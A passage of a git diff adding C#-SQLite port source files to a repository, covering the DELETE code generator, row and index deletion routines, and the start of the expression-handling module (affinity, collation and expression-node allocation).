pTab.pIndex; pIdx != null; pIdx = pIdx.pNext ) + { + pParse.nTab++; + } + +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +/* Start the view context +*/ +if( isView ){ +sqlite3AuthContextPush(pParse, sContext, pTab.zName); +} +#endif + /* Begin generating code. +*/ + v = sqlite3GetVdbe( pParse ); + if ( v == null ) + { + goto delete_from_cleanup; + } + if ( pParse.nested == 0 ) + sqlite3VdbeCountChanges( v ); + sqlite3BeginWriteOperation( pParse, 1, iDb ); + + /* If we are trying to delete from a view, realize that view into + ** a ephemeral table. + */ +#if !(SQLITE_OMIT_VIEW) && !(SQLITE_OMIT_TRIGGER) + if ( isView ) + { + sqlite3MaterializeView( pParse, pTab, pWhere, iCur ); + } +#endif + /* Resolve the column names in the WHERE clause. + */ + sNC = new NameContext();// memset( &sNC, 0, sizeof( sNC ) ); + sNC.pParse = pParse; + sNC.pSrcList = pTabList; + if ( sqlite3ResolveExprNames( sNC, ref pWhere ) != 0 ) + { + goto delete_from_cleanup; + } + + + /* Initialize the counter of the number of rows deleted, if +** we are counting rows. +*/ + if ( ( db.flags & SQLITE_CountRows ) != 0 ) + { + memCnt = ++pParse.nMem; + sqlite3VdbeAddOp2( v, OP_Integer, 0, memCnt ); + } + +#if !SQLITE_OMIT_TRUNCATE_OPTIMIZATION + /* Special case: A DELETE without a WHERE clause deletes everything. + ** It is easier just to erase the whole table. Prior to version 3.6.5, + ** this optimization caused the row change count (the value returned by + ** API function sqlite3_count_changes) to be set incorrectly. */ + if ( rcauth == SQLITE_OK && pWhere == null && null == pTrigger && !IsVirtual( pTab ) + && 0 == sqlite3FkRequired( pParse, pTab, null, 0 ) + ) + { + Debug.Assert( !isView ); + sqlite3VdbeAddOp4( v, OP_Clear, pTab.tnum, iDb, memCnt, + pTab.zName, P4_STATIC ); + for ( pIdx = pTab.pIndex; pIdx != null; pIdx = pIdx.pNext ) + { + Debug.Assert( pIdx.pSchema == pTab.pSchema ); + sqlite3VdbeAddOp2( v, OP_Clear, pIdx.tnum, iDb ); + } + } + else +#endif //* SQLITE_OMIT_TRUNCATE_OPTIMIZATION */ + /* The usual case: There is a WHERE clause so we have to scan through +** the table and pick which records to delete. +*/ + { + int iRowSet = ++pParse.nMem; /* Register for rowset of rows to delete */ + int iRowid = ++pParse.nMem; /* Used for storing rowid values. */ + int regRowid; /* Actual register containing rowids */ + + /* Collect rowids of every row to be deleted. + */ + sqlite3VdbeAddOp2( v, OP_Null, 0, iRowSet ); + ExprList elDummy = null; + pWInfo = sqlite3WhereBegin( pParse, pTabList, pWhere, ref elDummy, WHERE_DUPLICATES_OK ); + if ( pWInfo == null ) + goto delete_from_cleanup; + regRowid = sqlite3ExprCodeGetColumn( pParse, pTab, -1, iCur, iRowid ); + sqlite3VdbeAddOp2( v, OP_RowSetAdd, iRowSet, regRowid ); + if ( ( db.flags & SQLITE_CountRows ) != 0 ) + { + sqlite3VdbeAddOp2( v, OP_AddImm, memCnt, 1 ); + } + + sqlite3WhereEnd( pWInfo ); + + /* Delete every item whose key was written to the list during the + ** database scan. We have to delete items after the scan is complete + ** because deleting an item can change the scan order. */ + end = sqlite3VdbeMakeLabel( v ); + + /* Unless this is a view, open cursors for the table we are + ** deleting from and all its indices. If this is a view, then the + ** only effect this statement has is to fire the INSTEAD OF + ** triggers. */ + if ( !isView ) + { + sqlite3OpenTableAndIndices( pParse, pTab, iCur, OP_OpenWrite ); + } + + addr = sqlite3VdbeAddOp3( v, OP_RowSetRead, iRowSet, end, iRowid ); + + /* Delete the row */ +#if !SQLITE_OMIT_VIRTUALTABLE + if ( IsVirtual( pTab ) ) + { + VTable pVTab = sqlite3GetVTable( db, pTab ); + sqlite3VtabMakeWritable( pParse, pTab ); + sqlite3VdbeAddOp4( v, OP_VUpdate, 0, 1, iRowid, pVTab, P4_VTAB ); + sqlite3VdbeChangeP5( v, OE_Abort ); + sqlite3MayAbort( pParse ); + } + else +#endif + { + int count = ( pParse.nested == 0 ) ? 1 : 0; /* True to count changes */ + sqlite3GenerateRowDelete( pParse, pTab, iCur, iRowid, count, pTrigger, OE_Default ); + } + + /* End of the delete loop */ + sqlite3VdbeAddOp2( v, OP_Goto, 0, addr ); + sqlite3VdbeResolveLabel( v, end ); + + /* Close the cursors open on the table and its indexes. */ + if ( !isView && !IsVirtual( pTab ) ) + { + for ( i = 1, pIdx = pTab.pIndex; pIdx != null; i++, pIdx = pIdx.pNext ) + { + sqlite3VdbeAddOp2( v, OP_Close, iCur + i, pIdx.tnum ); + } + sqlite3VdbeAddOp1( v, OP_Close, iCur ); + } + } + + /* Update the sqlite_sequence table by storing the content of the + ** maximum rowid counter values recorded while inserting into + ** autoincrement tables. + */ + if ( pParse.nested == 0 && pParse.pTriggerTab == null ) + { + sqlite3AutoincrementEnd( pParse ); + } + + /* Return the number of rows that were deleted. If this routine is + ** generating code because of a call to sqlite3NestedParse(), do not + ** invoke the callback function. + */ + + if ( ( db.flags & SQLITE_CountRows ) != 0 && 0 == pParse.nested && null == pParse.pTriggerTab ) + { + sqlite3VdbeAddOp2( v, OP_ResultRow, memCnt, 1 ); + sqlite3VdbeSetNumCols( v, 1 ); + sqlite3VdbeSetColName( v, 0, COLNAME_NAME, "rows deleted", SQLITE_STATIC ); + } + +delete_from_cleanup: +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +sqlite3AuthContextPop(sContext); +#endif + sqlite3SrcListDelete( db, ref pTabList ); + sqlite3ExprDelete( db, ref pWhere ); + return; + } + + /* Make sure "isView" and other macros defined above are undefined. Otherwise + ** thely may interfere with compilation of other functions in this file + ** (or in another file, if this file becomes part of the amalgamation). */ + //#if isView + // #undef isView + //#endif + //#if pTrigger + // #undef pTrigger + //#endif + + /* + ** This routine generates VDBE code that causes a single row of a + ** single table to be deleted. + ** + ** The VDBE must be in a particular state when this routine is called. + ** These are the requirements: + ** + ** 1. A read/write cursor pointing to pTab, the table containing the row + ** to be deleted, must be opened as cursor number $iCur. + ** + ** 2. Read/write cursors for all indices of pTab must be open as + ** cursor number base+i for the i-th index. + ** + ** 3. The record number of the row to be deleted must be stored in + ** memory cell iRowid. + ** + ** This routine generates code to remove both the table record and all + ** index entries that point to that record. + */ + static void sqlite3GenerateRowDelete( + Parse pParse, /* Parsing context */ + Table pTab, /* Table containing the row to be deleted */ + int iCur, /* VdbeCursor number for the table */ + int iRowid, /* Memory cell that contains the rowid to delete */ + int count, /* If non-zero, increment the row change counter */ + Trigger pTrigger, /* List of triggers to (potentially) fire */ + int onconf /* Default ON CONFLICT policy for triggers */ +) + { + Vdbe v = pParse.pVdbe; /* Vdbe */ + int iOld = 0; /* First register in OLD.* array */ + int iLabel; /* Label resolved to end of generated code */ + + /* Vdbe is guaranteed to have been allocated by this stage. */ + Debug.Assert( v != null ); + + /* Seek cursor iCur to the row to delete. If this row no longer exists + ** (this can happen if a trigger program has already deleted it), do + ** not attempt to delete it or fire any DELETE triggers. */ + iLabel = sqlite3VdbeMakeLabel( v ); + sqlite3VdbeAddOp3( v, OP_NotExists, iCur, iLabel, iRowid ); + + /* If there are any triggers to fire, allocate a range of registers to + ** use for the old.* references in the triggers. */ + if ( sqlite3FkRequired( pParse, pTab, null, 0 ) != 0 || pTrigger != null ) + { + u32 mask; /* Mask of OLD.* columns in use */ + int iCol; /* Iterator used while populating OLD.* */ + + /* TODO: Could use temporary registers here. Also could attempt to + ** avoid copying the contents of the rowid register. */ + mask = sqlite3TriggerColmask( + pParse, pTrigger, null, 0, TRIGGER_BEFORE | TRIGGER_AFTER, pTab, onconf + ); + mask |= sqlite3FkOldmask( pParse, pTab ); + iOld = pParse.nMem + 1; + pParse.nMem += ( 1 + pTab.nCol ); + + /* Populate the OLD.* pseudo-table register array. These values will be + ** used by any BEFORE and AFTER triggers that exist. */ + sqlite3VdbeAddOp2( v, OP_Copy, iRowid, iOld ); + for ( iCol = 0; iCol < pTab.nCol; iCol++ ) + { + if ( mask == 0xffffffff || ( mask & ( 1 << iCol ) ) != 0 ) + { + sqlite3ExprCodeGetColumnOfTable( v, pTab, iCur, iCol, iOld + iCol + 1 ); + } + } + + /* Invoke BEFORE DELETE trigger programs. */ + sqlite3CodeRowTrigger( pParse, pTrigger, + TK_DELETE, null, TRIGGER_BEFORE, pTab, iOld, onconf, iLabel + ); + + /* Seek the cursor to the row to be deleted again. It may be that + ** the BEFORE triggers coded above have already removed the row + ** being deleted. Do not attempt to delete the row a second time, and + ** do not fire AFTER triggers. */ + sqlite3VdbeAddOp3( v, OP_NotExists, iCur, iLabel, iRowid ); + + /* Do FK processing. This call checks that any FK constraints that + ** refer to this table (i.e. constraints attached to other tables) + ** are not violated by deleting this row. */ + sqlite3FkCheck( pParse, pTab, iOld, 0 ); + } + + /* Delete the index and table entries. Skip this step if pTab is really + ** a view (in which case the only effect of the DELETE statement is to + ** fire the INSTEAD OF triggers). */ + if ( pTab.pSelect == null ) + { + sqlite3GenerateRowIndexDelete( pParse, pTab, iCur, 0 ); + sqlite3VdbeAddOp2( v, OP_Delete, iCur, ( count != 0 ? (int)OPFLAG_NCHANGE : 0 ) ); + if ( count != 0 ) + { + sqlite3VdbeChangeP4( v, -1, pTab.zName, P4_TRANSIENT ); + } + } + + /* Do any ON CASCADE, SET NULL or SET DEFAULT operations required to + ** handle rows (possibly in other tables) that refer via a foreign key + ** to the row just deleted. */ + sqlite3FkActions( pParse, pTab, null, iOld ); + + /* Invoke AFTER DELETE trigger programs. */ + sqlite3CodeRowTrigger( pParse, pTrigger, + TK_DELETE, null, TRIGGER_AFTER, pTab, iOld, onconf, iLabel + ); + + /* Jump here if the row had already been deleted before any BEFORE + ** trigger programs were invoked. Or if a trigger program throws a + ** RAISE(IGNORE) exception. */ + sqlite3VdbeResolveLabel( v, iLabel ); + } + + + /* + ** This routine generates VDBE code that causes the deletion of all + ** index entries associated with a single row of a single table. + ** + ** The VDBE must be in a particular state when this routine is called. + ** These are the requirements: + ** + ** 1. A read/write cursor pointing to pTab, the table containing the row + ** to be deleted, must be opened as cursor number "iCur". + ** + ** 2. Read/write cursors for all indices of pTab must be open as + ** cursor number iCur+i for the i-th index. + ** + ** 3. The "iCur" cursor must be pointing to the row that is to be + ** deleted. + */ + static void sqlite3GenerateRowIndexDelete( + Parse pParse, /* Parsing and code generating context */ + Table pTab, /* Table containing the row to be deleted */ + int iCur, /* VdbeCursor number for the table */ + int nothing /* Only delete if aRegIdx!=0 && aRegIdx[i]>0 */ + ) + { + int[] aRegIdx = null; + sqlite3GenerateRowIndexDelete( pParse, pTab, iCur, aRegIdx ); + } + static void sqlite3GenerateRowIndexDelete( + Parse pParse, /* Parsing and code generating context */ + Table pTab, /* Table containing the row to be deleted */ + int iCur, /* VdbeCursor number for the table */ + int[] aRegIdx /* Only delete if aRegIdx!=0 && aRegIdx[i]>0 */ + ) + { + int i; + Index pIdx; + int r1; + + for ( i = 1, pIdx = pTab.pIndex; pIdx != null; i++, pIdx = pIdx.pNext ) + { + if ( aRegIdx != null && aRegIdx[i - 1] == 0 ) + continue; + r1 = sqlite3GenerateIndexKey( pParse, pIdx, iCur, 0, false ); + sqlite3VdbeAddOp3( pParse.pVdbe, OP_IdxDelete, iCur + i, r1, pIdx.nColumn + 1 ); + } + } + + /* + ** Generate code that will assemble an index key and put it in register + ** regOut. The key with be for index pIdx which is an index on pTab. + ** iCur is the index of a cursor open on the pTab table and pointing to + ** the entry that needs indexing. + ** + ** Return a register number which is the first in a block of + ** registers that holds the elements of the index key. The + ** block of registers has already been deallocated by the time + ** this routine returns. + */ + static int sqlite3GenerateIndexKey( + Parse pParse, /* Parsing context */ + Index pIdx, /* The index for which to generate a key */ + int iCur, /* VdbeCursor number for the pIdx.pTable table */ + int regOut, /* Write the new index key to this register */ + bool doMakeRec /* Run the OP_MakeRecord instruction if true */ + ) + { + Vdbe v = pParse.pVdbe; + int j; + Table pTab = pIdx.pTable; + int regBase; + int nCol; + + nCol = pIdx.nColumn; + regBase = sqlite3GetTempRange( pParse, nCol + 1 ); + sqlite3VdbeAddOp2( v, OP_Rowid, iCur, regBase + nCol ); + for ( j = 0; j < nCol; j++ ) + { + int idx = pIdx.aiColumn[j]; + if ( idx == pTab.iPKey ) + { + sqlite3VdbeAddOp2( v, OP_SCopy, regBase + nCol, regBase + j ); + } + else + { + sqlite3VdbeAddOp3( v, OP_Column, iCur, idx, regBase + j ); + sqlite3ColumnDefault( v, pTab, idx, -1 ); + } + } + if ( doMakeRec ) + { + string zAff; + if ( pTab.pSelect != null|| ( pParse.db.flags & SQLITE_IdxRealAsInt ) != 0 ) + { + zAff = ""; + } + else + { + zAff = sqlite3IndexAffinityStr( v, pIdx ); + } + sqlite3VdbeAddOp3( v, OP_MakeRecord, regBase, nCol + 1, regOut ); + sqlite3VdbeChangeP4( v, -1, zAff, P4_TRANSIENT ); + } + sqlite3ReleaseTempRange( pParse, regBase, nCol + 1 ); + return regBase; + } + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/expr_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/expr_c.cs new file mode 100644 index 0000000..3230a8c --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/expr_c.cs @@ -0,0 +1,4443 @@ +#define SQLITE_MAX_EXPR_DEPTH + +using System; +using System.Diagnostics; +using System.Text; + +using Bitmask = System.UInt64; +using i64 = System.Int64; +using u8 = System.Byte; +using u32 = System.UInt32; +using u16 = System.UInt16; + +using Pgno = System.UInt32; + +#if !SQLITE_MAX_VARIABLE_NUMBER +using ynVar = System.Int16; +#else +using ynVar = System.Int32; +#endif + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains routines used for analyzing expressions and + ** for generating VDBE code that evaluates expressions in SQLite. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* + ** Return the 'affinity' of the expression pExpr if any. + ** + ** If pExpr is a column, a reference to a column via an 'AS' alias, + ** or a sub-select with a column as the return value, then the + ** affinity of that column is returned. Otherwise, 0x00 is returned, + ** indicating no affinity for the expression. + ** + ** i.e. the WHERE clause expresssions in the following statements all + ** have an affinity: + ** + ** CREATE TABLE t1(a); + ** SELECT * FROM t1 WHERE a; + ** SELECT a AS b FROM t1 WHERE b; + ** SELECT * FROM t1 WHERE (select a from t1); + */ + static char sqlite3ExprAffinity( Expr pExpr ) + { + int op = pExpr.op; + if ( op == TK_SELECT ) + { + Debug.Assert( ( pExpr.flags & EP_xIsSelect ) != 0 ); + return sqlite3ExprAffinity( pExpr.x.pSelect.pEList.a[0].pExpr ); + } +#if !SQLITE_OMIT_CAST + if ( op == TK_CAST ) + { + Debug.Assert( !ExprHasProperty( pExpr, EP_IntValue ) ); + return sqlite3AffinityType( pExpr.u.zToken ); + } +#endif + if ( ( op == TK_AGG_COLUMN || op == TK_COLUMN || op == TK_REGISTER ) + && pExpr.pTab != null + ) + { + /* op==TK_REGISTER && pExpr.pTab!=0 happens when pExpr was originally + ** a TK_COLUMN but was previously evaluated and cached in a register */ + int j = pExpr.iColumn; + if ( j < 0 ) + return SQLITE_AFF_INTEGER; + Debug.Assert( pExpr.pTab != null && j < pExpr.pTab.nCol ); + return pExpr.pTab.aCol[j].affinity; + } + return pExpr.affinity; + } + + /* + ** Set the explicit collating sequence for an expression to the + ** collating sequence supplied in the second argument. + */ + static Expr sqlite3ExprSetColl( Expr pExpr, CollSeq pColl ) + { + if ( pExpr != null && pColl != null ) + { + pExpr.pColl = pColl; + pExpr.flags |= EP_ExpCollate; + } + return pExpr; + } + + /* + ** Set the collating sequence for expression pExpr to be the collating + ** sequence named by pToken. Return a pointer to the revised expression. + ** The collating sequence is marked as "explicit" using the EP_ExpCollate + ** flag. An explicit collating sequence will override implicit + ** collating sequences. + */ + static Expr sqlite3ExprSetCollByToken( Parse pParse, Expr pExpr, Token pCollName ) + { + string zColl; /* Dequoted name of collation sequence */ + CollSeq pColl; + sqlite3 db = pParse.db; + zColl = sqlite3NameFromToken( db, pCollName ); + pColl = sqlite3LocateCollSeq( pParse, zColl ); + sqlite3ExprSetColl( pExpr, pColl ); + sqlite3DbFree( db, ref zColl ); + return pExpr; + } + + /* + ** Return the default collation sequence for the expression pExpr. If + ** there is no default collation type, return 0. + */ + static CollSeq sqlite3ExprCollSeq( Parse pParse, Expr pExpr ) + { + CollSeq pColl = null; + Expr p = pExpr; + while ( ALWAYS( p ) ) + { + int op; + pColl = pExpr.pColl; + if ( pColl != null ) + break; + op = p.op; + if ( p.pTab != null && ( + op == TK_AGG_COLUMN || op == TK_COLUMN || op == TK_REGISTER || op == TK_TRIGGER + ) ) + { + /* op==TK_REGISTER && p->pTab!=0 happens when pExpr was originally + ** a TK_COLUMN but was previously evaluated and cached in a register */ + string zColl; + int j = p.iColumn; + if ( j >= 0 ) + { + sqlite3 db = pParse.db; + zColl = p.pTab.aCol[j].zColl; + pColl = sqlite3FindCollSeq( db, ENC( db ), zColl, 0 ); + pExpr.pColl = pColl; + } + break; + } + if ( op != TK_CAST && op != TK_UPLUS ) + { + break; + } + p = p.pLeft; + } + if ( sqlite3CheckCollSeq( pParse, pColl ) != 0 ) + { + pColl = null; + } + return pColl; + } + + /* + ** pExpr is an operand of a comparison operator. aff2 is the + ** type affinity of the other operand. This routine returns the + ** type affinity that should be used for the comparison operator. + */ + static char sqlite3CompareAffinity( Expr pExpr, char aff2 ) + { + char aff1 = sqlite3ExprAffinity( pExpr ); + if ( aff1 != '\0' && aff2 != '\0' ) + { + /* Both sides of the comparison are columns. If one has numeric + ** affinity, use that. Otherwise use no affinity. + */ + if ( aff1 >= SQLITE_AFF_NUMERIC || aff2 >= SQLITE_AFF_NUMERIC ) + // if (sqlite3IsNumericAffinity(aff1) || sqlite3IsNumericAffinity(aff2)) + { + return SQLITE_AFF_NUMERIC; + } + else + { + return SQLITE_AFF_NONE; + } + } + else if ( aff1 == '\0' && aff2 == '\0' ) + { + /* Neither side of the comparison is a column. Compare the + ** results directly. + */ + return SQLITE_AFF_NONE; + } + else + { + /* One side is a column, the other is not. Use the columns affinity. */ + Debug.Assert( aff1 == 0 || aff2 == 0 ); + return ( aff1 != '\0' ? aff1 : aff2 ); + } + } + + /* + ** pExpr is a comparison operator. Return the type affinity that should + ** be applied to both operands prior to doing the comparison. + */ + static char comparisonAffinity( Expr pExpr ) + { + char aff; + Debug.Assert( pExpr.op == TK_EQ || pExpr.op == TK_IN || pExpr.op == TK_LT || + pExpr.op == TK_GT || pExpr.op == TK_GE || pExpr.op == TK_LE || + pExpr.op == TK_NE || pExpr.op == TK_IS || pExpr.op == TK_ISNOT ); + Debug.Assert( pExpr.pLeft != null ); + aff = sqlite3ExprAffinity( pExpr.pLeft ); + if ( pExpr.pRight != null ) + { + aff = sqlite3CompareAffinity( pExpr.pRight, aff ); + } + else if ( ExprHasProperty( pExpr, EP_xIsSelect ) ) + { + aff = sqlite3CompareAffinity( pExpr.x.pSelect.pEList.a[0].pExpr, aff ); + } + else if ( aff == '\0' ) + { + aff = SQLITE_AFF_NONE; + } + return aff; + } + + /* + ** pExpr is a comparison expression, eg. '=', '<', IN(...) etc. + ** idx_affinity is the affinity of an indexed column. Return true + ** if the index with affinity idx_affinity may be used to implement + ** the comparison in pExpr. + */ + static bool sqlite3IndexAffinityOk( Expr pExpr, char idx_affinity ) + { + char aff = comparisonAffinity( pExpr ); + switch ( aff ) + { + case SQLITE_AFF_NONE: + return true; + case SQLITE_AFF_TEXT: + return idx_affinity == SQLITE_AFF_TEXT; + default: + return idx_affinity >= SQLITE_AFF_NUMERIC;// sqlite3IsNumericAffinity(idx_affinity); + } + } + + /* + ** Return the P5 value that should be used for a binary comparison + ** opcode (OP_Eq, OP_Ge etc.) used to compare pExpr1 and pExpr2. + */ + static u8 binaryCompareP5( Expr pExpr1, Expr pExpr2, int jumpIfNull ) + { + u8 aff = (u8)sqlite3ExprAffinity( pExpr2 ); + aff = (u8)( (u8)sqlite3CompareAffinity( pExpr1, (char)aff ) | (u8)jumpIfNull ); + return aff; + } + + /* + ** Return a pointer to the collation sequence that should be used by + ** a binary comparison operator comparing pLeft and pRight. + ** + ** If the left hand expression has a collating sequence type, then it is + ** used. Otherwise the collation sequence for the right hand expression + ** is used, or the default (BINARY) if neither expression has a collating + ** type. + ** + ** Argument pRight (but not pLeft) may be a null pointer. In this case, + ** it is not considered. + */ + static CollSeq sqlite3BinaryCompareCollSeq( + Parse pParse, + Expr pLeft, + Expr pRight + ) + { + CollSeq pColl; + Debug.Assert( pLeft != null ); + if ( ( pLeft.flags & EP_ExpCollate ) != 0 ) + { + Debug.Assert( pLeft.pColl != null ); + pColl = pLeft.pColl; + } + else if ( pRight != null && ( ( pRight.flags & EP_ExpCollate ) != 0 ) ) + { + Debug.Assert( pRight.pColl != null ); + pColl = pRight.pColl; + } + else + { + pColl = sqlite3ExprCollSeq( pParse, pLeft ); + if ( pColl == null ) + { + pColl = sqlite3ExprCollSeq( pParse, pRight ); + } + } + return pColl; + } + + /* + ** Generate code for a comparison operator. + */ + static int codeCompare( + Parse pParse, /* The parsing (and code generating) context */ + Expr pLeft, /* The left operand */ + Expr pRight, /* The right operand */ + int opcode, /* The comparison opcode */ + int in1, int in2, /* Register holding operands */ + int dest, /* Jump here if true. */ + int jumpIfNull /* If true, jump if either operand is NULL */ + ) + { + int p5; + int addr; + CollSeq p4; + + p4 = sqlite3BinaryCompareCollSeq( pParse, pLeft, pRight ); + p5 = binaryCompareP5( pLeft, pRight, jumpIfNull ); + addr = sqlite3VdbeAddOp4( pParse.pVdbe, opcode, in2, dest, in1, + p4, P4_COLLSEQ ); + sqlite3VdbeChangeP5( pParse.pVdbe, (u8)p5 ); + return addr; + } + +#if SQLITE_MAX_EXPR_DEPTH //>0 + /* +** Check that argument nHeight is less than or equal to the maximum +** expression depth allowed. If it is not, leave an error message in +** pParse. +*/ + static int sqlite3ExprCheckHeight( Parse pParse, int nHeight ) + { + int rc = SQLITE_OK; + int mxHeight = pParse.db.aLimit[SQLITE_LIMIT_EXPR_DEPTH]; + if ( nHeight > mxHeight ) + { + sqlite3ErrorMsg( pParse, + "Expression tree is too large (maximum depth %d)", mxHeight + ); + rc = SQLITE_ERROR; + } + return rc; + } + + /* The following three functions, heightOfExpr(), heightOfExprList() + ** and heightOfSelect(), are used to determine the maximum height + ** of any expression tree referenced by the structure passed as the + ** first argument. + ** + ** If this maximum height is greater than the current value pointed + ** to by pnHeight, the second parameter, then set pnHeight to that + ** value. + */ + static void heightOfExpr( Expr p, ref int pnHeight ) + { + if ( p != null ) + { + if ( p.nHeight > pnHeight ) + { + pnHeight = p.nHeight; + } + } + } + static void heightOfExprList( ExprList p, ref int pnHeight ) + { + if ( p != null ) + { + int i; + for ( i = 0; i < p.nExpr; i++ ) + { + heightOfExpr( p.a[i].pExpr, ref pnHeight ); + } + } + } + static void heightOfSelect( Select p, ref int pnHeight ) + { + if ( p != null ) + { + heightOfExpr( p.pWhere, ref pnHeight ); + heightOfExpr( p.pHaving, ref pnHeight ); + heightOfExpr( p.pLimit, ref pnHeight ); + heightOfExpr( p.pOffset, ref pnHeight ); + heightOfExprList( p.pEList, ref pnHeight ); + heightOfExprList( p.pGroupBy, ref pnHeight ); + heightOfExprList( p.pOrderBy, ref pnHeight ); + heightOfSelect( p.pPrior, ref pnHeight ); + } + } + + /* + ** Set the Expr.nHeight variable in the structure passed as an + ** argument. An expression with no children, Expr.x.pList or + ** Expr.x.pSelect member has a height of 1. Any other expression + ** has a height equal to the maximum height of any other + ** referenced Expr plus one. + */ + static void exprSetHeight( Expr p ) + { + int nHeight = 0; + heightOfExpr( p.pLeft, ref nHeight ); + heightOfExpr( p.pRight, ref nHeight ); + if ( ExprHasProperty( p, EP_xIsSelect ) ) + { + heightOfSelect( p.x.pSelect, ref nHeight ); + } + else + { + heightOfExprList( p.x.pList, ref nHeight ); + } + p.nHeight = nHeight + 1; + } + + /* + ** Set the Expr.nHeight variable using the exprSetHeight() function. If + ** the height is greater than the maximum allowed expression depth, + ** leave an error in pParse. + */ + static void sqlite3ExprSetHeight( Parse pParse, Expr p ) + { + exprSetHeight( p ); + sqlite3ExprCheckHeight( pParse, p.nHeight ); + } + + /* + ** Return the maximum height of any expression tree referenced + ** by the select statement passed as an argument. + */ + static int sqlite3SelectExprHeight( Select p ) + { + int nHeight = 0; + heightOfSelect( p, ref nHeight ); + return nHeight; + } +#else +//#define exprSetHeight(y) +#endif //* SQLITE_MAX_EXPR_DEPTH>0 */ + + /* +** This routine is the core allocator for Expr nodes. +** +** Construct a new expression node and return a pointer to it. Memory +** for this node and for the pToken argument is a single allocation +** obtained from sqlite3DbMalloc(). The calling function +** is responsible for making sure the node eventually gets freed. +** +** If dequote is true, then the token (if it exists) is dequoted. +** If dequote is false, no dequoting is performance. The deQuote +** parameter is ignored if pToken is NULL or if the token does not +** appear to be quoted. If the quotes were of the form "..." (double-quotes) +** then the EP_DblQuoted flag is set on the expression node. +** +** Special case: If op==TK_INTEGER and pToken points to a string that +** can be translated into a 32-bit integer, then the token is not +** stored in u.zToken. Instead, the integer values is written +** into u.iValue and the EP_IntValue flag is set. No extra storage +** is allocated to hold the integer text and the dequote flag is ignored. +*/ + static Expr sqlite3ExprAlloc( + sqlite3 db, /* Handle for sqlite3DbMallocZero() (may be null) */ + int op, /* Expression opcode */ + Token pToken, /* Token argument. Might be NULL */ + int dequote /* True to dequote */ + ) + { + Expr pNew; + int nExtra = 0; + int iValue = 0; + + if ( pToken != null ) + { + if ( op != TK_INTEGER || pToken.z == null || pToken.z.Length == 0 + || sqlite3GetInt32( pToken.z.ToString(), ref iValue ) == false ) + { + nExtra = pToken.n + 1; + Debug.Assert( iValue >= 0 ); + } + } + pNew = new Expr();//sqlite3DbMallocZero(db, sizeof(Expr)+nExtra); + if ( pNew != null ) + { + pNew.op = (u8)op; + pNew.iAgg = -1; + if ( pToken != null ) + { + if ( nExtra == 0 ) + { + pNew.flags |= EP_IntValue; + pNew.u.iValue = iValue; + } + else + { + int c; + //pNew.u.zToken = (char)&pNew[1]; + if ( pToken.n > 0 ) + pNew.u.zToken = pToken.z.Substring( 0, pToken.n );//memcpy(pNew.u.zToken, pToken.z, pToken.n); + else if ( pToken.n == 0 && pToken.z == "" ) + pNew.u.zToken = ""; + //pNew.u.zToken[pToken.n] = 0; + if ( dequote != 0 && nExtra >= 3 + && ( ( c = pToken.z[0] ) == '\'' || c == '"' || c == '[' || c == '`' ) ) + { +#if DEBUG_CLASS_EXPR || DEBUG_CLASS_ALL +sqlite3Dequote(ref pNew.u._zToken); +#else + sqlite3Dequote( ref pNew.u.zToken ); +#endif + if ( c == '"' ) + pNew.flags |= EP_DblQuoted; + } + } + } +#if SQLITE_MAX_EXPR_DEPTH//>0 + pNew.nHeight = 1; +#endif + } + return pNew; + } + + /* + ** Allocate a new expression node from a zero-terminated token that has + ** already been dequoted. + */ + static Expr sqlite3Expr( + sqlite3 db, /* Handle for sqlite3DbMallocZero() (may be null) */ + int op, /* Expression opcode */ + string zToken /* Token argument. Might be NULL */ + ) + { + Token x = new Token(); + x.z = zToken; + x.n = !String.IsNullOrEmpty( zToken ) ? sqlite3Strlen30( zToken ) : 0; + return sqlite3ExprAlloc( db, op, x, 0 ); + } + + /* + ** Attach subtrees pLeft and pRight to the Expr node pRoot. + ** + ** If pRoot==NULL that means that a memory allocation error has occurred. + ** In that case, delete the subtrees pLeft and pRight. + */ + static void sqlite3ExprAttachSubtrees( + sqlite3 db, + Expr pRoot, + Expr pLeft, + Expr pRight + ) + { + if ( pRoot == null ) + { + //Debug.Assert( db.mallocFailed != 0 ); + sqlite3ExprDelete( db, ref pLeft ); + sqlite3ExprDelete( db, ref pRight ); + } + else + { + if ( pRight != null ) + { + pRoot.pRight = pRight; + if ( ( pRight.flags & EP_ExpCollate ) != 0 ) + { + pRoot.flags |= EP_ExpCollate; + pRoot.pColl = pRight.pColl; + } + } + if ( pLeft != null ) + { + pRoot.pLeft = pLeft; + if ( ( pLeft.flags & EP_ExpCollate ) != 0 ) + { + pRoot.flags |= EP_ExpCollate; + pRoot.pColl = pLeft.pColl; + } + } + exprSetHeight( pRoot ); + } + } + + /* + ** Allocate a Expr node which joins as many as two subtrees. + ** + ** One or both of the subtrees can be NULL. Return a pointer to the new + ** Expr node. Or, if an OOM error occurs, set pParse->db->mallocFailed, + ** free the subtrees and return NULL. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static Expr sqlite3PExpr( Parse pParse, int op, int null_3, int null_4, int null_5 ) + { + return sqlite3PExpr( pParse, op, null, null, null ); + } + static Expr sqlite3PExpr( Parse pParse, int op, int null_3, int null_4, Token pToken ) + { + return sqlite3PExpr( pParse, op, null, null, pToken ); + } + static Expr sqlite3PExpr( Parse pParse, int op, Expr pLeft, int null_4, int null_5 ) + { + return sqlite3PExpr( pParse, op, pLeft, null, null ); + } + static Expr sqlite3PExpr( Parse pParse, int op, Expr pLeft, int null_4, Token pToken ) + { + return sqlite3PExpr( pParse, op, pLeft, null, pToken ); + } + static Expr sqlite3PExpr( Parse pParse, int op, Expr pLeft, Expr pRight, int null_5 ) + { + return 